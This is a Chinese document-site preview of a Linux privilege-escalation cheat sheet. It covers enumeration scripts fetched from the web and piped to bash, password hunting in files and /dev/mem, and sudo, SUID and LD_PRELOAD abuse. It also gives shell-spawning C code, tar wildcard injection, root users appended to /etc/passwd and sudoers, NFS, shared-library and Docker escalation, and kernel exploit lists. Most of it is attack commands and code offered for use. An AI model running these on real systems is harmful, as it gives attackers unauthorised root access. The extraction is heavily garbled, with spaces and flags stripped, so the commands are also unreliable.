2021Linux提权技术分析_第1页
2021Linux提权技术分析_第2页
2021Linux提权技术分析_第3页
2021Linux提权技术分析_第4页
2021Linux提权技术分析_第5页
已阅读5页,还剩5页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

LinuxLinuxLinuxLinux提权辅密码计划任Cronsystemdtimers内核漏洞内核提权漏洞(依靠EXP)内核漏洞搜集项⽬:常⻅漏洞:利⽤sudo命令利⽤SUID提权GTFOBins通配符利⽤可写⽂件(敏感⽂件)写/etc/passwd写/etc/sudoersNFS权限压缩共享库利⽤ldconfig利⽤RPATH敏感的GroupDockerLXC/LXD辅辅\h三个⼯作模式可选:l0(缺省),显⽰特别重要的信息l1显⽰ineeting的信息l2显⽰所有的信息wgetwget"/diego-treitos/linux-smart-enumeration/raw/master/lse.sh"-Olse.sh;chmod700curl"/diego-treitos/linux-smart-enumeration/raw/master/lse.sh"-Lolse.sh;chmod700单⾏执⾏:bash<(wget-q-O-/diego-treitos/linusmarenumeration/master/lse.sh)l2ibash<(curlssmarenumeration/master/lse.sh)l1i\hLinEnum常⽤命令:./LinEnum.sh-rreport-e/tmp/-t⽣成的结果将导出到/tmp/report⽂件如果什么都不加的话,就是输出到标准输出\hBeRootProjectpythonberoot.py--passwordsuper_strong_password这个⼯具包含了\hGTFOBins所提到的⽂件列表,也就是说,可以检查出⼀些通过sudo运⾏即可提权的⽂件。\hPupy基于python的内存态后渗透利⽤框架密码密码相关查找包含密码的⽂件(关键字password)grepgrep--color=auto-rnw'/'-ie"PASSWORD"--color=always2>/dev/nullfind.-typef-execgrep-i-I"PASSWORD"{}/dev/null\;查看过期的密码pam_cracklib会保存过期的密码记录在/etc/security/opasswd⽂件中。查看⽤⼾最后编辑的⽂件11 find/-mmin-102>/dev/null|grep-Ev"^/proc"最近⼗分钟编辑的⽂件内存中的密码strings/dev/memn10|grepiPASS查看敏感⽂件$locatepassword|$locatepassword|more/boot/grub/i386-pc/password.mod/etc/pam.d/common-password/etc/pam.d/gdm-password/etc/pam.d/gdm-password.original7 ...计划任务检查系统中存在的cron计划任务,看看是否有权限访问和修改检查⽂件内容,看看有没有可以提权的途径利⽤\hps⼯具,检查命令和⽂件系统事件./pspy64pfi10001123456789101112131415161718敏感目录/etc/init.d/etc/cron*/etc/crontab/etc/cron.allow/etc/cron.d/etc/cron.deny/etc/cron.daily/etc/cron.hourly/etc/cron.monthly/etc/cron.weekly/etc/sudoers/etc/exports/etc/anacrontab/var/spool/cron/var/spool/cron/crontabs/rootcrontab-llsls-alh/var/spool/cron;ls-al/etc/|grepcronls-al/etc/cron*cat/etc/cron*cat/etc/at.allowcat/etc/at.denycat/etc/cron.allowcat/etc/cron.deny*cron的⽇志⽂件存储为/var/log/cronlog,可以看到最近执⾏的定时任务信息。相关信息:配置文件读取路径:/var/spool/cron/,由crontab-e进行写入,配置文件无需指定用户;用户创建的任务在对应用户名文件夹下。/etc/crontab,只能root进行编辑,配置文件需指定用户/etc/cron.d/,在此文件夹下创建定时任务文件(和/etc/crontab一样)日志保存地址:/var/log/cron;要禁止某个用户使用,将用户名添加到/etc/cron.deny文件中。timers系统定时器,也是计划任务的⼀种查询命令:systemctllistimersall相关信息:如果想使用systemd作为定时器,需要先创建一个服务单元,之后再创建计时器单重新加载配置:systemctl daemoreloadjournalctl-umytimer查看mytimer.timer和mytimer.service的日志详细原理:\h/Linux/2019-05/158599.htm内核漏洞内核漏洞内核提权漏洞(依靠EXP)1.在exploit-db、或者其他搜索引擎上查找相关2利⽤\h脏2.6.22<=kernel4.8.3、4.7.9、)3.⼀般这种提权漏洞都是c的,需要gcc编译gccfilename-ooutfilename。内内核漏洞搜集项⽬:\h/lucyoa/kernel-exploits/中⽂NICE~\h\h/SecWiki/linux-kernel-exploits中⽂NICE~常⻅漏洞:\h/xairy/kernel-exploits\h/Kabot/Unix-Privilege-Escalation-Exploits-Pack/常⻅漏洞:1.CVE-2016-5195(DirtyCow):(LinuxKernel<=3.19.0-73.8)\h/dirtycow/dirtycow.github.io/wiki/PoCs\h2.CVE-2010-3904(RDS):(LinuxKernel<=2.6.36-rc8)\h/exploits/15285/CVE-2010-4258(FullNelson):(LinuxKernel2.6.37(RedHat/Ubuntu10.04))\h/exploits/15704/CVE-2012-0056(Mempodipper):(LinuxKernel2.6.39<3.2.2(Gentoo/Ubuntux86/x64))\h/exploits/18411利利⽤sudo命令sudol:查看当前⽤⼾sudo⽀持的命令11234$sudo-lUserdemomayrunthefollowingcommandsoncrashlab:(root)NOPASSWD:/usr/bin/mysql⽐如以上结果列出了mysql,就可以使⽤sudo mysqle'\!/bin/sh'获得⼀个特权或者sudourootmysqle'\!/bin/sh'最⽜逼的情况:igniteALL=(root)NOPASSWD:ALL使⽤⽤⼾密码切换到ot⽤⼾:sudoi、sudosu、sudosu-利⽤LD_PRELOAD:如果在sudoers⽂件(/etc/sudoers)中明确定义了LD_PRELOAD的内容:11 Defaults env_keep+=LD_PRELOAD可以使⽤以下代码,编译共享链接库gcc-fPIC-shared-oshell.soshell.c-nostartfiles//shell.c//shell.c#include<stdio.h>#include<sys/types.h>#include<stdlib.h>void_init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);10 }使⽤如下命令,执⾏任何⼆进制程序以获得shellsudoLD_PRELOAD=<full_path_to_so_file><program>举个例⼦:sudoLD_PRELOAD=/tmp/shell.sofind同时要注意其他和sudo有同样功能的程序,⽐如openBSD的doas命令##/etc/doas.conf#以rootprocmappermitnopassteduasrootcmd/usr/sbin/procmapsudo_inject5.sudo_inject在/proc/sys/kernel/yama/ptrace_scope中值为0,并且当前⽤⼾有正在使⽤sudo运⾏的进程的时候,可以只⽤\hsudo_inject攻击来滥⽤当前令牌。6.如果有权限的话,可以看看后⾯的内容利利⽤SUID提权查找具有suid权限的命令:find/userrootperm4000print2>/dev/null、find/permu=stypef2>/dev/null、find/userrootperm4000execlsldb{}\;、find/-perm-4000-typef-execls-la{}2>/dev/null\;、find/-uid0-perm-4000-typef2>/dev/null常⻅的⽤于SUID提权的程序:Nmap较旧版本的Nmap(2.02⾄5.21)带有交互模式,从⽽允许⽤⼾执⾏shell命令。nmap--interactive,nmap>!sh。find:`touchtest```findtestexecwhoamifindtestexecbashp;findtestexec/bin/sh;(DC1就遇到ash⽆法提权,但是sh可以提权的情况)findtestexecnce/bin/sh289999\;vim:直接编辑⽂件vim/etc/shadow,或者进⼊vim后启动sh交互。:setshell=/bin/sh:shell或者:vimc'!sh'bash:bash-p利⽤less执⾏命令:less/etc/passwd,!/bin/sh(已经设置suid的sh)、(more可以)为什么可以使⽤SUID提权:SUID代表“执⾏时设置⽤⼾ID”,具有该标志位的⽂件在执⾏时,运如果⼀个程序属主是root,并具有suid标志位,其他⽤⼾运时uid会临时变为root。构造⼀个具有suid的程序(如果root权限的话):给程序添加suid标记:chmod+s文件利⽤⾃⼰的代码做⼀个suid的shell////filename:suid.cintmain(void){setgid(0);setuid(0);6 }//或者intmain(void){setresui,,);11 }gcc编译之后,chownroot:root/tmp/suid;chmod4777/tmp/suid【注意,得先把属主改为root,之后再添加s标志】\hGTFOBins是一个精选的Unix二进制列表,攻击者可以利用它来绕过本地安全限制。通过将tar与‒checkpoint-action选项⼀起使⽤,可以在检查点之后使⽤指定的。使⽤特定选项的“欺骗”根源⾮常简单就是通配符派上⽤场的地⽅。1123456touch--"--checkpoint=1"touch--"--checkpoint-action=exec=shshell.sh"echo"#\!/bin/bash\ncat/etc/passwd>/tmp/flag\nchmod777/tmp/flag">shell.sh#vulnerablescripttarcfarchive.tar*详细原理请看《关于通配符提权》的笔记。利⽤可写⽂件(敏感⽂件)利⽤⼯具:\hwildpwn(其实就是将创建⽂件⾃动化了)利⽤可写⽂件(敏感⽂件)搜索可写⽂件find/find/-writable!-user\`whoami\`-typef!-path"/proc/*"!-path"/sys/*"-execls-al{}\;2>/dev/nullfind/-perm-2-typef2>/dev/nullfind/!-path"*/proc/*"-perm-2-typef-print2>/dev/null⽣成密码的⽅式⽣成⽣成密码字符串的三种⽅式:opensslopensslpasswd-1-saltmkpasswd-mSHA-512密码python2-c'importcrypt;printcrypt.crypt("密码"$6$salt")'按照如下格式添加到/etc/passwd⽂件中用户名:生成的密码:0:0:Hacker:/root:/bin/bash不⽣成密码的⽅式(及其暴⼒)echoecho'dummy::0:0::/root:/bin/bash'>>/etc/passwdsu-dummyBSD系统中文件名称为:/etc/pwd.db、/etc/master.passwd、/etc/spwd.db12345echo"用户名ALL=(ALL:ALL)ALL">>/etc/sudoers#useSUDOwithoutpasswordecho"用户名ALL=(ALL)NOPASSWD:ALL">>/etc/sudoersecho"用户名ALL=NOPASSWD:/bin/bash">>/etc/sudoersNFSNFS权限压缩不知道是不是这么翻译NFS的配置⽂件:/etc/exports如果`no_root_squash出现在配置⽂件中的话,如果⽬录分享者是root,那么对于远程挂载⽤⼾来说,他也具有了该⽬录下root的权限。具体操作:查看远程主机共享的⽂件夹:showmount-e0、建⽴⽬录、挂载远程主机共享⽂件mkdirmkdir/tmp/nfsdirmount-tnfs0:/shared/tmp/nfsdircd/tmp/nfsdir恶意利⽤:112345#copywantedshellcp/bin/bash.#setsuidpermissionchmod+sbash共享共享系统识别共享库的顺序:rpath-link选项中指定的⽬录‒rpath选项中指定的⽬录LD_LIBRARY_PATH或中的⽬录/lib、/usr/lib/etc/ld.so.conf下的⽬录。利利识别程序所使⽤的动态链接库信息(实际是需要同名替换)ldd二进制文件编译⼀个同名为vulnlib.so的⽂件,进⾏替换(这个地⽅不确定要不要加版本号)gccgcc–Wall–fPIC–shared–ovulnlib.so/tmp/vulnlib.cecho"/tmp/">/etc/ld.so.conf.d/exploit.conf&&ldconfig-l/tmp/vulnlib.so/opt/binary后面的数字作为版本号,连接器并不识别后面的内容,只识别到so命名规范的话主版本号:不同的版本号之间不兼容次版本号:增量升级向后兼容发行版本号:对应次版本的错误修正和性能提升,不影响兼容性利⽤利⽤查看程序使⽤RPATH情况:readelf-d文件名|egrep"NEEDED|RPATH"根据上边的结果,在/var/tmp/flag15路径下构造恶意共享库gcc-fPIC-shared-static-libgcc-Wl,--version-script=version,-Bstaticexploit.c-olibc.so.6#include<stdlib.h>#include<stdlib.h>#defineSHELL"/bin/sh"345678910intlibc_start_main(int(*main)(int,char**,char**),intargc,char**ubp_av,void(*init)(void),void(*fini)(void),void(*rtld_fini)(void),void(*stack_end)){charfile=SHEL;char*argv[]={SHELL,0};setresuid(geteuid(),geteuid(),geteuid());execve(file,argv,0);}敏感敏感的Docker仅作记录,docker组后期好像权限没那么⼤了以root权限挂载⽂件系统$>dockerrun$>dockerrun-it--rm-v$PWD:/mntbash$>echo'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh'>>/mnt/etc/passwd类似的权限,但是可以看到主机上运⾏的进程和连接的⽹卡dockerrun-rmit-pid=host-net

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论